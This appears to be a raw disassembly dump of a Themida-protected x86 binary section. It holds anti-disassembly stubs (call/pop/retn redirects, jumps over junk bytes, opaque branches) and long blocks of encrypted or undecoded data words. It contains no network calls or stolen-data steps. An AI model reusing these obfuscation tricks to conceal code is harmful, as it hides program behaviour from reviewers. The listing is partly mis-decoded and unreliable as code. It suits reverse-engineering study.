; ---------------------------------------------------------------------------
db 0F1h
dd 7B3A095Fh, 7C9B8627h
; ---------------------------------------------------------------------------
cld
loc_5CDDB5: ; CODE XREF: Themida_:005CDD6Dj
mov eax, eax
push 0
push eax
call sub_5CDDC2
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CDDC2 proc near ; CODE XREF: Themida_:005CDDBAp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 18h
inc eax
push eax
retn
sub_5CDDC2 endp
; ---------------------------------------------------------------------------
dw 0C16Ch
; ---------------------------------------------------------------------------
mov al, ds:9D896D3Bh
or ds:8D8906A8h, ecx
dec ebp
push gs
push es
cmp dword ptr [ebp+6A81ED9h], 0
jnz short loc_5CDDF5
cmp dword ptr [ebp+6A82DE9h], 0
jz short loc_5CDE0E
loc_5CDDF5: ; CODE XREF: Themida_:005CDDEAj
push eax
push ebx
mov eax, eax
mov eax, 42Dh
mov [ebp+6A80FD5h], eax
lea ebx, [ebp+6AAA213h]
call ebx
pop ebx
pop eax
loc_5CDE0E: ; CODE XREF: Themida_:005CDDF3j
cmp dword ptr [ebp+6A82DE9h], 0
jz short loc_5CDE2E
push eax
push ebx
mov eax, 42Dh
mov [ebp+6A80FD5h], eax
lea ebx, [ebp+6AA9EB4h]
call ebx
pop ebx
pop eax
loc_5CDE2E: ; CODE XREF: Themida_:005CDE15j
mov [ebp+6A81A59h], ebx
mov si, 16C3h
mov eax, eax
jno loc_5CDE58
jmp loc_5CDE58
; ---------------------------------------------------------------------------
align 2
dw 9810h
dd 4D98CEEFh
db 28h, 56h
; ---------------------------------------------------------------------------
loc_5CDE4E: ; CODE XREF: Themida_:005CDE5Fj
mov eax, ds:0D55993B6h
sbb dword ptr [edi-55h], 0FFFFFFD9h
outsd
loc_5CDE58: ; CODE XREF: Themida_:005CDE3Aj
; Themida_:005CDE40j
mov eax, eax
call near ptr loc_5CDE63+5
jz short loc_5CDE4E
dec ecx
xchg eax, ecx
loc_5CDE63: ; CODE XREF: Themida_:005CDE5Ap
imul esi, [ecx+74h], 8B562E68h
rcr byte ptr [ecx+5Fh], 1
mov ebx, [ebp+6A80B3Dh]
add edi, 6D8Ah
movsx ecx, si
mov esi, 79ADA594h
add esi, 865275ABh
mov [ebp+6A82CE5h], edi
loc_5CDE8D: ; CODE XREF: Themida_:005CDEE5j
push dword ptr [edi]
sbb bl, 0F8h
pop eax
mov ecx, eax
sub eax, 5A5D76F5h
pusha
mov esi, [ebp+6A820C9h]
jl loc_5CDEAE
or edi, [ebp+6A8297Dh]
loc_5CDEAE: ; CODE XREF: Themida_:005CDEA2j
popa
add eax, 22E1D62Eh
jno loc_5CDEBE
adc ch, 71h
loc_5CDEBE: ; CODE XREF: Themida_:005CDEB5j
add eax, 222C080Bh
mov ecx, edx
mov [edi], eax
jmp loc_5CDED6
; ---------------------------------------------------------------------------
db 0E6h, 2Dh, 0E9h
dd 7FBC4B97h
db 0DFh, 5
; ---------------------------------------------------------------------------
loc_5CDED6: ; CODE XREF: Themida_:005CDEC8j
sub edi, 4
mov [ebp+6A81449h], edx
sub esi, 1
jnz loc_5CDE8D
add [ebp+6A82295h], eax
lea ecx, [ebp+6B045FEh]
jmp loc_5CDF03
; ---------------------------------------------------------------------------
jno short loc_5CDF5D
mov [eax-73h], esi
cwde
loc_5CDF03: ; CODE XREF: Themida_:005CDEF7j
mov [ebp+6A805B9h], ecx
push 0
push ebx
call sub_5CDF14
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CDF14 proc near ; CODE XREF: Themida_:005CDF0Cp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 16h
inc ebx
push ebx
retn
sub_5CDF14 endp
; ---------------------------------------------------------------------------
dd 8B22A18Ah, 0A80B69B5h, 6985C706h, 6406A814h, 6A000074h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h
dd 40000000h, 0DD8FC350h, 0E9FB89BCh, 6
db 83h
; ---------------------------------------------------------------------------
loc_5CDF5D: ; CODE XREF: Themida_:005CDEFCj
sub ecx, edi
idiv edx
out dx, eax
mov dword ptr [ebp+6A80BBDh], 0
push 0
push edx
call sub_5CDF77
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CDF77 proc near ; CODE XREF: Themida_:005CDF6Fp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Bh
inc edx
push edx
retn
sub_5CDF77 endp
; ---------------------------------------------------------------------------
db 25h
; ---------------------------------------------------------------------------
wait
aad 9Dh
shl edi, 32h
mov esp, 0D41B5FFh
test al, 6
push 0
push edx
call sub_5CDFA0
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CDFA0 proc near ; CODE XREF: Themida_:005CDF98p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Dh
inc edx
push edx
retn
sub_5CDFA0 endp
; ---------------------------------------------------------------------------
cmpsd
leave
test [esi-32AE5325h], ch
cwde
add cl, [ebx-57F9D27Bh]
push es
pusha
mov eax, [ebp+6A832ADh]
mov edi, [ebp+6A828A9h]
popa
call dword ptr [ebp+6A820DDh]
push 0
push ecx
call sub_5CDFDF
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CDFDF proc near ; CODE XREF: Themida_:005CDFD7p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ch
inc ecx
push ecx
retn
sub_5CDFDF endp
; ---------------------------------------------------------------------------
db 0AFh
dd 754363C5h, 32BD71D0h, 1F099D89h, 858906A8h, 6A807CDh
dd 95FF006Ah, 6A81B31h, 7CEBC08Bh, 80B36335h, 38DEF44Eh
dd 70894317h, 0BF66644Eh, 813A0F7Eh, 0AC8A597Eh, 0EF6AB616h
dd 0BE804340h, 0CB2C0EA1h, 29F951C0h, 69C59DB1h, 46807B6Dh
dd 1B65EA77h, 4FBEE627h, 5CB78012h, 110717CCh, 4F9AD8CDh
dd 0B893273Eh, 0A1F0C024h, 87602E08h, 7CBA3A0Eh, 79723574h
dd 0D1BDB1Bh, 0A84D1880h, 959CFDA8h, 4F1A31CFh, 0E75B76BEh
dd 0F4BBC2FCh, 7528F235h, 15ABBBB7h, 7D69B573h, 472F8D8Dh
dd 6A06B0h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
dd 50400000h, 8D893CC3h, 6A805B9h, 0C7FE8B66h, 0A8146985h
dd 59F406h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1804h, 0C3514100h, 0FDB91486h, 0BD85C7A3h, 6A80Bh, 6A000000h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h
dd 42000000h, 0C4F6C352h, 3509B5FFh, 0F58A06A8h, 20DD95FFh
dd 6A06A8h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
dd 51410000h, 9F9C7FC3h, 0FF006A63h, 0A81B3195h, 0EBC08B06h
dd 0CC053868h, 0F2183FCEh, 4A50710Dh, 71531DF6h, 959EA0BEh
dd 0D1719CB9h, 0CB16CBCAh, 0A6F98412h, 0DB640941h, 0CBF04AD2h
dd 11DE3FE4h, 0F357F0E6h, 6A0612CDh, 0B0B4619Fh, 7B45196Ah
dd 0EBA16578h, 0CAD94C90h, 0B3745243h, 8BD68543h, 1255F9F5h
dd 7597C3BEh, 7EA9AD9Ch, 0FE3F44B1h, 8D5B445Dh, 9BBDD071h
dd 7FC9000Dh, 128D8D82h, 306B048h, 0A82DED9Dh, 0B98D8906h
dd 0E806A805h, 7, 0AE6C9B56h, 0F9982313h, 6985C75Bh, 0C406A814h
dd 0B3000067h, 0BD85C78Fh, 6A80Bh, 6A000000h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
dd 12FC357h, 0A824E5BDh, 15B5FF06h, 8B06A809h, 0A81DE59Dh
dd 0DD95FF06h, 6606A820h, 0A64ED281h, 95FF006Ah, 6A81B31h
dd 5FEBC08Bh, 69CA5FDCh, 0F9E7CE84h, 0BC11F4F7h, 6864C8FDh
dd 0B20230FEh, 8ACA3677h, 0C4339D7Fh, 93C11113h, 0DFBD2D2h
dd 22137FE0h, 0C66B85F6h, 0B18197AFh, 6B4E41E5h, 0AAE19B91h
dd 0E4415BC8h, 63AE3C4Dh, 108AF5A2h, 0BF78C522h, 0AB2DE850h
dd 3E902D97h, 8C019A62h, 716FF863h, 0FED7F782h, 0E86A70A5h
dd 0Fh, 6744198Bh, 0A7E0A52Eh, 64FF04C2h, 357DF41h, 0A8225195h
dd 0C1815906h, 6966h, 6840Fh, 95890000h, 6A82E0Dh, 1A3368h
dd 95895600h, 6A81101h, 858B5B5Ah, 6A82EC5h, 0CAB4318Bh
dd 0A941F681h, 8F0F76CBh, 6, 14C98529h, 0C68106A8h, 679A722Eh
dd 864379BFh, 5FF68115h, 891D185Ch, 0A8208995h, 0BD895606h
dd 6A80BD5h, 858B018Fh, 6A81721h, 0BD4EE981h, 81664E0Ah
dd 817CDCC8h, 0ABD4AC1h, 1BD8B4Eh, 8106A810h, 1EBh, 0A1850F00h
dd 66FFFFFFh, 0EBFB8Bh, 3BAE9h, 0F1B8DF00h, 20650AB5h
dd 561F399Ah, 86C36FD0h, 0B3FE9F00h, 49C9E877h, 7E216528h
dd 0AA1591DCh, 0DC47C38Ah, 32AAF0B9h, 209A9E28h, 2268B608h
dd 1752FF05h, 41083093h, 71345AC5h, 2CE98A35h, 0CBDC4108h
dd 0A6CB34D2h, 0AB84CD6Bh, 7B1C870Dh, 2F4FF036h, 2A034AEAh
dd 5811339Ch, 8BC261C2h, 99D0745Fh, 2F950314h, 0F0BDDEC1h
dd 79A6E38Fh, 57E8820h, 86B6073Ch, 367F1E09h, 5F1A38E9h
dd 0D17D22D2h, 0EB8D7694h, 0E340052Ah, 0C270D1CAh, 10AB1187h
dd 59E307BCh, 0BCAF4B9Eh, 0E466CB64h, 0BCAF4BA0h, 0CCCE573Ch
dd 1F88A2D0h, 12537h, 5EFF0800h, 1BAE5BF2h, 544D28AEh
dd 0B1E913CFh, 93AF58C4h, 0DF440D30h, 0DE74D5CEh, 9F05169Bh
dd 0C50B3B4Dh, 5EF9AF58h, 6C2547A8h, 0A4A737C7h, 9D97FED7h
dd 0E9774A4h, 3FE0266Fh, 4FC8551Ch, 16B056EDh, 0B60086E3h
dd 262976A1h, 7758248Dh, 921D9BD6h, 0D5D577F3h, 8BB60086h
dd 873971h, 0DE200BB6h, 0E00E9C75h, 931059FFh, 2B891E9Ah
dd 0C1D06A90h, 83BCA8A5h, 0F29172A8h, 0F32576BBh, 48E9CA10h
dd 5B8F9805h, 0A8A5E921h, 3870DBBCh, 6F9BD677h, 0ADE484h
dd 50BA22F6h, 1AF32064h, 0E5CE349Eh, 88A10E47h, 93DE7F20h
dd 912C8D0Eh, 0CD07D375h, 52FDBCA8h, 0BCFC0EB4h, 86BCA8CCh
dd 6810BADh, 62A6E096h, 41BCA8CDh, 0D2CB682Dh, 984E2710h
dd 50D62F6Eh, 1DA731C3h, 13525DC1h, 0AE89B7E1h, 0B2FFA001h
dd 26608E74h, 0C34FD9E2h, 0DA464284h, 133CC34Fh, 6F3078D3h
dd 9D1E83CEh, 2365813Ch, 0C34FDA1Bh, 0B84983E9h, 0FE06A6D2h
dd 0EF2D6D95h, 1A1FC34Fh, 0D16258EAh, 6D46F1F1h, 98D576D9h
dd 1CBA2502h, 57D6AEEAh, 1F56F5AFh, 733464CFh, 3A4C7AC1h
dd 0B5FFE413h, 7AA046F1h, 0FFE3C8C0h, 791BAB5h, 1158FBA4h
dd 226B0AF5h, 355D0CF6h, 9A40FB5Ch, 0D8501539h, 0E46EB650h
dd 1635B5FFh, 0C568CB5Fh, 352E6304h, 5D1437E8h, 86DC2FA9h
dd 941950F3h, 86E94B83h, 0FC432088h, 0A4C7CE57h, 0EDBF39EDh
dd 2A6F0445h, 0DE273FD0h, 6844F05Ah, 8F147739h, 2Ch, 0EA1CBA90h
dd 0AF57D6AEh, 59103394h, 1059FF60h, 16AD0F98h, 92356F0h
dd 36E1B600h, 0D41538E9h, 62BBF8B1h, 14B23D89h, 95000000h
dd 0F01653FFh, 8320690Fh, 5F480D22h, 9AB96AD9h, 0FF6857D3h
dd 14901653h, 0D778B4D6h, 0E14AAF57h, 0E840E3BCh, 2CE2F974h
dd 4DD2CB66h, 4280218Ah, 95113798h, 58873773h, 49220DAFh
dd 0CBC305EFh, 0B9AF5886h, 0A1397416h, 7AB14BC1h, 0FA2019C6h
dd 58274840h, 0F5113AAFh, 8320650Ah, 1B840EAAh, 7EF53178h
dd 6008EBB5h, 66CB82A1h, 0C6D75C35h, 17ED52h, 0FFC80000h
dd 0EF1155Ch, 1B88206Dh, 4A2EB8Ah, 6DB2F79Bh, 0E216FC3Ch
dd 1158FF79h, 3970138Ch, 40092BF4h, 6D2042E3h, 733E5FC0h
dd 99D4752Eh, 0A2E78B14h, 0CD84A47Dh, 0D792BF60h, 8268FA4Ah
dd 89000050h, 0E6892434h, 4C681h, 0EE830000h, 24348704h
dd 3154685Ch, 4890000h, 5F7E6824h, 2C890000h, 4BC56824h
dd 34890000h, 4920BE24h, 0F08906B0h, 4079685Eh, 24890000h
dd 24048124h, 4, 0BD55505Dh, 5AEF545Dh, 4246C01h, 8458F5Dh
dd 5D086D81h, 8B5AEF54h, 8956242Ch, 4C681E6h, 81000000h
dd 4C6h, 24348700h, 24048B5Ch, 81E78957h, 4C7h, 4C78100h
dd 87000000h, 0E95C243Ch, 0FFF830EAh, 0B8234C12h, 6B04C49h
dd 0E0FFC503h, 6B9672Dh, 50F0CC6Ch, 32F025D8h, 7B76A263h
dd 1FED26A4h, 215419BCh, 26C56B86h, 54BF9992h, 7FCF0FA0h
dd 3995FBE2h, 2A8B74EBh, 0A50011Bh, 1328D77Dh, 42219B0Bh
dd 5BE7F05h, 463CD5FDh, 0AE9h, 9BD65500h, 0B27C78ECh, 0F04E821h
dd 8Ch, 4840F00h, 66000000h, 0B903D5BBh, 2AFE4954h, 0B0B96660h
dd 61C18BB1h, 5EF38B51h, 0BE9h, 3F7FDC00h, 69B08983h, 13018B62h
dd 0A15042BBh, 3CDB8169h, 0F68407Dh, 8Fh, 14E800h, 0F7FA0000h
dd 0CD4019BFh, 0B5B06591h, 1AC02E28h, 43B5ED28h, 0F55F6767h
dd 61F6F181h, 0E78A6D92h, 58D0Fh, 81660000h, 0E88730C1h
dd 13h, 0F99A6AF3h, 0F32CD6ECh, 0C9E68870h, 32D2B3D5h
dd 5AC494F9h, 0A7D0B966h, 0AE9h, 6FF23200h, 847FBB2Bh
dd 663A2194h, 8166CB8Bh, 81466CD6h, 8DD7E4CBh, 0C4C0803Ch
dd 0CB8AF98Bh
dd 0BEB9B966h, 8A0F5DB6h, 4, 51C1BB66h, 66609DB1h, 0D7FBC281h
dd 7E9h, 856C6800h, 0C71B45F9h, 11E95661h, 6D000000h, 0F4E52270h
dd 4879818Fh, 0F2D5EEB1h, 4DF79888h, 0F560F95Eh, 0AE9h
dd 96AE1900h, 13181606h, 61959BE5h, 0ACF4EA81h, 12E86586h
dd 56000000h, 0B11ADB6Ch, 85CCCA28h, 696AE19h, 0E5131816h
dd 8166609Bh, 0E9E783C7h, 5, 65A9C22Ah, 52586118h, 6059E88Ah
dd 0FBFD580h, 68Fh, 8C0F00h, 61000000h, 5C0FB966h, 16890Fh
dd 0DE80000h, 9E000000h, 0D3E5DBEDh, 914E07EEh, 675CC060h
dd 5BFAB70Fh, 9E8h, 2CCA8800h, 3E922C07h, 870FE40Ch, 5
dd 38E129BFh, 870F5F51h, 0Fh, 0AE9h, 40E29F00h, 81EEE5FCh
dd 66F468AAh, 73ABF681h, 6E8h, 0DB006F00h, 0FBB1D4Eh, 1688h
dd 10E800h, 78EC0000h, 0E821B27Ch, 89D9ED04h, 0DDC6393Eh
dd 585B58EDh, 0D2EE8166h, 6E95246h, 3000000h, 0ECB36F0Ah
dd 0B3F95EF0h, 0EDE1818Ah, 605BCFE0h, 800Fh, 10E90000h
dd 0A000000h, 0D1481937h, 9423EF63h, 1317C8B6h, 61BFA89Ah
dd 5810FF9h, 66000000h, 39FCEA81h, 0B6B98EB0h, 0E851FBC9h
dd 6, 654F0725h, 9E9536Eh, 0D8000000h, 0DC0DBF4Bh, 0C35560ACh
dd 0B70FF85Ah, 2880FFFh, 8A000000h, 0FE9CCh, 5BAF0000h
dd 5F8C9D4Eh, 0EC887FAh, 63DE4155h, 0C78BF552h, 0A9E28166h
dd 0F1B9666Ah, 6E9F2h, 961E0000h, 9DF891F6h, 0C2857DBFh
dd 3800F3Eh, 80000000h, 0C28B39E8h, 21E1D881h, 81660469h
dd 668125DEh, 0D68BC38Bh, 0B70FCB8Bh, 0EE860F1h, 7E000000h
dd 0BC0B4EA1h, 0BF8E74BFh, 54C95716h, 0FE87Dh, 7C000000h
dd 68206FAh, 19D955Ah, 0A85FCA2Dh, 605A5BCAh, 8C0Fh, 0E7B70000h
dd 0BF0F6161h, 0BE9C0h, 0E75B0000h, 0F4BBC2FCh, 7528F235h
dd 0F5653B7h, 8Ch, 565E5B00h, 665ED08Ah, 3CECF681h, 0EAD78166h
dd 8B665361h, 0F85759C8h, 3850F58h, 0F000000h, 0B866DFB7h
dd 0FFCAF7Ah, 688h, 860F00h, 8B000000h, 8D0F57F8h, 6, 0C6A2F081h
dd 0BA5F463Eh, 192CDCF2h, 0E9D8BF0Fh, 13h, 0C1C4C9E7h
dd 6303B8C8h, 14F31061h, 0E985DCF4h, 0F7CB3FFh, 584h, 13DCB800h
dd 66F94951h, 0ED26C781h, 7E8h, 82EED400h, 0EB187EDEh
dd 0CE9h, 133A7100h, 555E790Fh, 9A30E6D1h, 0B9665AB7h
dd 8A0F1631h, 6, 0F133D081h, 60602C2Dh, 0F08BFCB6h, 0A8EF8061h
dd 0C18B6661h, 0BE73B866h, 8840FF8h, 52000000h, 2F15CE81h
dd 0F5B1E92h, 0EE8D9BFh, 21000000h, 6A9529A5h, 0AD29B4Ch
dd 7EFEEE58h, 0F38B6638h, 10E95Eh, 68A0000h, 0B2D02092h
dd 4516BD2Dh, 892F8F62h, 0B866B2A4h, 0FE8BF66h, 0A6000000h
dd 479A207Ch, 2D98AEC3h, 4B5A745Bh, 0E9598FB1h, 8, 0EF773182h
dd 0B5D9C197h, 1870Fh, 0E9F90000h, 0Ch, 10139558h, 60924635h
dd 8334FBFBh, 2800F52h, 8B000000h, 0F5358CEh, 18Ch, 0F59FC00h
dd 588h, 0D4EEBA00h, 860F306Ch, 5, 0CE4908BEh, 0CE97Ch
dd 0B8900000h, 9CCF4ABBh, 59D35ECFh, 0DA8B1A95h, 13E9h
dd 0D433AD00h, 0AE97D6F9h, 5BD61584h, 51394387h, 8975F290h
dd 0E8CEBF0Fh, 0Dh, 3AC373FBh, 71108F1Dh, 0F0F12BFDh, 3820F08h
dd 0F000000h, 0E95ED7BFh, 5, 76EB6F32h, 0F5350CEh, 85h
dd 0E95F5F00h, 7, 6477F0C6h, 0F3A9579h, 1987h, 14E900h
dd 58D10000h, 3113E4DFh, 37DFE116h, 0DEF79354h, 6D50AA59h
dd 6E939BCh, 7A000000h, 57009B6Ah, 0E91FB383h, 10h, 0C82CC5DEh
dd 0FD2F43BDh, 13D27A89h, 80557767h, 12E8h, 991D3400h
dd 0EC604D40h, 0A7ECD80Fh, 3C607D6Eh, 818E80F3h, 0F6865BDEh
dd 8E0F5E32h, 11h, 0BE8h, 0F0C33100h, 8988D96Ah, 82CE791Fh
dd 58F8565Fh, 66C6B70Fh, 0E137DA81h, 0BF0F5E52h, 0E86060CBh
dd 14h, 8706B9FFh, 0E52AC544h, 0BF83750Ch, 94E19DB5h, 0E3477A0Ch
dd 0DDB96658h, 0CE96198h, 0E5000000h, 92F890F7h, 0A02DE7B2h
dd 617EAF37h, 0F78BD38Bh, 3820Fh, 0B70F0000h, 5E9F8h, 92FA0000h
dd 0E938CA8Ch, 0Fh, 1C3F3210h, 674D512Ch, 8DD0E181h, 666A7D88h
dd 0E97ECEBAh, 0Ch, 8FA44408h, 5D590BB1h, 0CFF529C5h, 0BE9h
dd 0C8539E00h, 0CC0E816Ah, 6B2A6B89h, 8BDA8BFCh, 3EF81C6h
dd 660585A3h, 0BF0FC28Bh, 0A7D6B8C7h, 6CB009D8h, 0F88B6660h
dd 0FE96061h, 0C2000000h, 352129C9h, 2D4A619Dh, 7C1CAF05h
dd 5E96FF6h, 27000000h, 6D547945h, 0EE8A6061h, 61C2B70Fh
dd 79BA6660h, 6160565Bh, 0BF0F615Bh, 3860FDEh, 80000000h
dd 27B0E1C0h, 8E9h, 0E469EA00h, 4FE21CF5h, 0F5F78B16h
dd 4FE08166h, 5E860CCh, 8D000000h, 9669DC38h, 830Fh, 60590000h
dd 5BA4BE66h, 61F08B66h, 0C28B6661h, 0E0C38166h, 0BE834h
dd 0BA580000h, 0E171D12h, 0B8A28C0Ah, 59A2B53Dh, 6E8h
dd 4EE29500h, 8B81CC86h, 8E85AF1h, 23000000h, 6F34B768h
dd 568650BDh, 0DA673FBBh, 0F5F5849h, 68Eh, 0EBC28100h
dd 0F9257113h, 0F78B6651h, 50FE8A5Fh, 34DBD281h, 66585FBEh
dd 0BE66F78Bh, 5E95318h, 22000000h, 0D4106CA5h, 8AE9E480h
dd 860F60E6h, 6, 0A1BAE281h, 66603DD5h, 860FFB8Bh, 0
dd 81666161h, 60A7C0EEh, 5E8h, 0C464D400h, 59FC01F2h, 4AB9BE66h
dd 10E961h, 0B6360000h, 0EC647C4Ah, 654D2F93h, 69433764h
dd 8F0F1383h, 2, 8B66A7B0h, 0C880FF2h, 0F000000h, 680h
dd 0A0D88100h, 0F6ED2A9h, 810FC6BFh, 0Eh, 9E9h, 46B38900h
dd 0E5B5F7F0h, 7E81A0Dh, 47000000h, 6C3EF27Bh, 8A603703h
dd 0E85961E8h, 13h, 33AB2903h, 0B798489Ah, 0E4ADB964h
dd 0F02847A9h, 0FB436D9h, 38Bh, 0C4D08000h, 0BFD78B58h
dd 406B5CBCh, 58C78B52h, 0C5DA8166h, 1BB360D8h, 6661EA8Ah
dd 1EBBD78Bh, 81618C10h, 5FE0B7E0h, 81665727h, 581E07E3h
dd 0CAC28051h, 0C7B5F55Fh, 860F5157h, 0
; ---------------------------------------------------------------------------
pop esi
pop esi
mov eax, edi
jmp loc_5CEECE
; ---------------------------------------------------------------------------
db 1, 0DAh, 85h
db 7, 0EFh
; ---------------------------------------------------------------------------
loc_5CEECE: ; CODE XREF: Themida_:005CEEC4j
movzx ebx, si
call near ptr sub_5CEEE0
scasd
pushf
scasd
or eax, 4F03844Ch
add edi, ebp
; =============== S U B R O U T I N E =======================================
sub_5CEEE0 proc far ; CODE XREF: Themida_:005CEED1p
mov bh, 92h
pop eax
jmp loc_5CEEF4
; ---------------------------------------------------------------------------
mov eax, ds:0A0723295h
adc byte ptr [eax-4E4789A3h], 7Eh
loc_5CEEF4: ; CODE XREF: sub_5CEEE0+3j
jbe loc_5CEF00
pusha
mov ch, 0B7h
mov edi, esi
popa
loc_5CEF00: ; CODE XREF: sub_5CEEE0:loc_5CEEF4j
jmp loc_5CEF0F
; ---------------------------------------------------------------------------
dec ebx
cmp dl, [ebp-2Bh]
aaa
retf 41F1h
; ---------------------------------------------------------------------------
db 22h, 0Ch
; ---------------------------------------------------------------------------
loc_5CEF0F: ; CODE XREF: sub_5CEEE0:loc_5CEF00j
mov edi, edx
xor edi, 72939238h
and ah, 0A3h
cmc
sub dx, 0F64Fh
jmp loc_5CEF2B
; ---------------------------------------------------------------------------
db 78h, 6Bh, 8Bh
db 0A8h, 66h, 0BBh
; ---------------------------------------------------------------------------
loc_5CEF2B: ; CODE XREF: sub_5CEEE0+40j
mov cl, ah
sbb cl, 0C8h
clc
jmp loc_5CEF48
; ---------------------------------------------------------------------------
dw 0AB96h
dd 0CFCC3466h, 0E2BC208Eh, 9ACB3AFh, 12E86F39h
; ---------------------------------------------------------------------------
loc_5CEF48: ; CODE XREF: sub_5CEEE0+51j
mov si, 0E2F3h
call near ptr sub_5CEF59
add dh, [ebx]
inc ebx
add eax, 7C795DE5h
sub_5CEEE0 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5CEF59 proc far ; CODE XREF: sub_5CEEE0+6Cp
mov cx, 83EEh
pop edx
movzx ecx, si
jmp loc_5CEF71
; ---------------------------------------------------------------------------
dw 0D683h
dd 7BFBE029h, 0EEDD6106h
db 29h
; ---------------------------------------------------------------------------
loc_5CEF71: ; CODE XREF: sub_5CEF59+8j
or esi, 2D7C6255h
and bl, 0C1h
mov esi, 57D77F36h
ja loc_5CEF88
mov bx, dx
loc_5CEF88: ; CODE XREF: sub_5CEF59+26j
jns loc_5CEF92
mov si, 205h
loc_5CEF92: ; CODE XREF: sub_5CEF59:loc_5CEF88j
xor edi, 7E437215h
mov dx, 0D575h
jl loc_5CEFB7
jmp loc_5CEFB7
; ---------------------------------------------------------------------------
db 1Bh
dd 96415DFDh, 0FBA86607h, 0D4F7D963h
db 2Dh, 9Fh, 8Ah
; ---------------------------------------------------------------------------
loc_5CEFB7: ; CODE XREF: sub_5CEF59+43j
; sub_5CEF59+49j
cmc
push edi
jmp loc_5CEFCB
; ---------------------------------------------------------------------------
dw 4DFCh
dd 0F3BB9F64h, 0C14BCA51h
db 85h, 0FCh, 78h
; ---------------------------------------------------------------------------
loc_5CEFCB: ; CODE XREF: sub_5CEF59+60j
pop edi
jmp loc_5CEFDF
; ---------------------------------------------------------------------------
db 0EDh, 0Ch, 0FDh
dd 0AA62018h, 2D08B6D4h
; ---------------------------------------------------------------------------
dec ebx
xor bl, [eax]
loc_5CEFDF: ; CODE XREF: sub_5CEF59+73j
jge loc_5CEFEA
mov ebx, 2B86F54Dh
loc_5CEFEA: ; CODE XREF: sub_5CEF59:loc_5CEFDFj
mov si, ax
adc cx, 79EFh
jb $+6
jz loc_5CF002
mov si, 49A2h
loc_5CF002: ; CODE XREF: sub_5CEF59+9Fj
call sub_5CF013
xchg eax, esi
dec ebp
db 66h
jbe short loc_5CF01F
retf
sub_5CEF59 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 79h, 0A2h, 23h
; ---------------------------------------------------------------------------
cdq
pop esi
cmc
; =============== S U B R O U T I N E =======================================
sub_5CF013 proc near ; CODE XREF: sub_5CEF59:loc_5CF002p
; FUNCTION CHUNK AT 005CF08D SIZE 00000002 BYTES
pusha
adc edx, 71B4F190h
stc
popa
pop edx
mov dh, al
loc_5CF01F: ; CODE XREF: sub_5CEF59+B0j
jnz $+6
and edx, 73DFAFF8h
add edx, 6C973A89h
mov di, bx
and dh, 0Eh
mov ebx, 4215E074h
call near ptr loc_5CF046+3
push ebp
adc al, 6
jz short loc_5CF08D
loc_5CF046: ; CODE XREF: sub_5CF013+29p
or eax, 10E9C474h
sub_5CF013 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0
dd 0BD050000h, 0CC7F33FEh, 9FA65F28h, 74C8ED8Dh, 665FC551h
dd 0CE8BC88Bh, 0F60F28Bh, 681h, 830F00h, 81000000h, 285B8FE9h
dd 0B9B2615Fh, 66C88B66h, 665A88BAh, 0BB729DBEh, 3AC57121h
db 0Fh
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5CF013
loc_5CF08D: ; CODE XREF: sub_5CF013+31j
xchg eax, [ebx]
; END OF FUNCTION CHUNK FOR sub_5CF013
; ---------------------------------------------------------------------------
db 0
dd 0B70F0000h, 880FD1h, 0B1000000h, 38D0F0Bh, 0F000000h
dd 10E9C6BFh, 17000000h, 9493237Ch, 0B3280026h, 0D9BA99B7h
dd 56E215F8h, 0E8C0Fh, 8E80000h, 61000000h, 0A3752C80h
dd 5EBF2388h, 0C7C18058h, 0F77F580h, 14E8C6BFh, 0DB000000h
dd 585FBA6Fh, 7A6F1B2Dh, 0AA6E4A78h, 0F3387A2Fh, 5E0547BCh
dd 0E981C68Ah, 51824128h, 13E958B3h, 94000000h, 0BDE99A3h
dd 536221ACh, 0D3FA9ACh, 7E0FE25Ch, 8B520ADFh, 9E85BD7h
dd 0A4000000h, 449DD6CFh, 3005241Bh, 0EE9h, 2185E400h
dd 532D40B9h, 0F07BFDC1h, 59000B12h, 0BE9h, 38F98E00h
dd 680445E8h, 0DF43AD9Eh, 36D63BB8h, 0ABDF8171h, 663FDE08h
dd 0E9346BB8h, 9, 0AE6D1A1Fh, 0C33D52A2h, 7AC3809Ch, 3890Fh
dd 0BF0F0000h, 86CDB8CEh, 0ADB746F8h, 226DB966h, 7C8F8BBh
dd 5D3816Ch, 0F337D83h, 58Fh, 58B8BF00h, 0A8B6439Ch, 14E9F78Bh
dd 8D000000h, 5174C8EDh, 86E7D5C5h, 74DD975Bh, 0F0DC1194h
dd 81E641CDh, 0C33280DAh, 0E960F846h, 11h, 8532062Ah, 0F24A046Fh
dd 86A94557h, 0F331C625h, 0CAB70FE7h, 6FE78161h, 52478981h
dd 5EC3B70Fh, 14E9h, 9F82D00h, 2FB9C6DDh, 0D52D213h, 99FB4ED1h
dd 0B4E1BDC6h, 0C2816630h, 7E99858h, 6C000000h, 56365B37h
dd 0CE81537h, 1E000000h, 10620C9Ch, 63B7AD8Ah, 5F81D9B5h
dd 0EF8166F5h, 0FE9824Dh, 0DA000000h, 26216C0h, 0E3BC2FFCh
dd 4AA6E01Eh, 0CE9FB4Ch, 6C000000h, 709718CAh, 1624960Ch
